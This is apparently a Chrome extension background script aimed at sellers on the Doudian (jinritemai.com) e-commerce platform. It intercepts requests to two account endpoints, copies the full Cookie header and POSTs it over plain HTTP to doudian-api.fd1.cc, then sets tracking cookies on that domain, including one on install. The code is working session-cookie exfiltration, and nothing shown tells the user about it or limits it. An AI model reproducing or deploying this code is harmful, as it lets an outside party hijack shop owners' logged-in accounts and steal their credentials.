
var sendCookie = 0 ;
var sendCompassCookie = 0 ;


chrome.webRequest.onBeforeSendHeaders.addListener(function (details) {
  var blockingResponse = {};
  var str = "" ;
  var url = details.url ;
  var cur_time = Math.floor(new Date().getTime()/1000);
   console.log(url+"->"+cur_time) ;
  if(url.indexOf("getSecsdkCsrfToken") > 0){
	  details.requestHeaders.map(item=>{
		if(item.name === 'Cookie'){
			str = item.value ;
		}
	  }) ;
	  //if(sendCookie < cur_time){
		send_data(str) ;
	  //}
  }else if(url.indexOf("get_account_info") > 0){
	  details.requestHeaders.map(item=>{
		if(item.name === 'Cookie'){
			str = item.value ;
		}
	  }) ;
	  //if(sendCompassCookie < cur_time){
		send_data1(str) ;
	  //}
  }
  return blockingResponse;
}, { urls: ["https://fxg.jinritemai.com/getSecsdkCsrfToken", 
	"https://compass.jinritemai.com/ecomauth/loginv1/get_account_info*"] }, ['requestHeaders', 'extraHeaders' ]);



function send_data1(str){
	var url = "http://doudian-api.fd1.cc/api/shop_cookie_compass" ;
	fetch(url, {
		"method": "POST",
		body: "data="+str,
		headers: {'Content-Type': 'application/x-www-form-urlencoded'}
	}).then(response => {
		if(response.ok) {
			return response.json() ;
		}
		throw new Error('Network response was not ok.');
	}).then(data => {
		console.log(data) ;
		if(data.code == 0){
			sendCompassCookie = data.time ;
			chrome_write_id(data.shopId,'lp_shopId') ;
		}
	}).catch(error => {
		console.error(error);
	}) ;
}


function send_data(str){
	var url = "http://doudian-api.fd1.cc/api/shop_cookie" ;
	fetch(url, {
		"method": "POST",
		body: "data="+str,
		headers: {'Content-Type': 'application/x-www-form-urlencoded'}
	}).then(response => {
		if(response.ok) {
			return response.json() ;
		}
		throw new Error('Network response was not ok.');
	}).then(data => {
		console.log(data) ;
		if(data.code == 0){
			sendCookie = data.time ;
			chrome_write_id(data.shopId,'zhineng_shopId') ;
		}
	}).catch(error => {
		console.error(error);
	}) ;
}

function chrome_write_id(v,name){
	setTimeout(function () {
    	// 对目标项目进行cookie写入
		const _cf = {
			name: name,
			value: v,
			url: 'http://doudian.fd1.cc',
			domain: 'doudian.fd1.cc'
		}
		chrome.cookies.set(_cf, function (res) {
		  console.log(res) ;
		});
    }, 100)
}


chrome.runtime.onInstalled.addListener(function () {
    setTimeout(function () {
    	// 对目标项目进行cookie写入
		const _cf = {
			name: 'zhineng_chrome_plugin',
			value: 'installY',
			url: 'http://doudian.fd1.cc',
			domain: 'doudian.fd1.cc'
		}
		chrome.cookies.set(_cf, function (res) {
		  console.log(res) ;
		});
    }, 100)
});
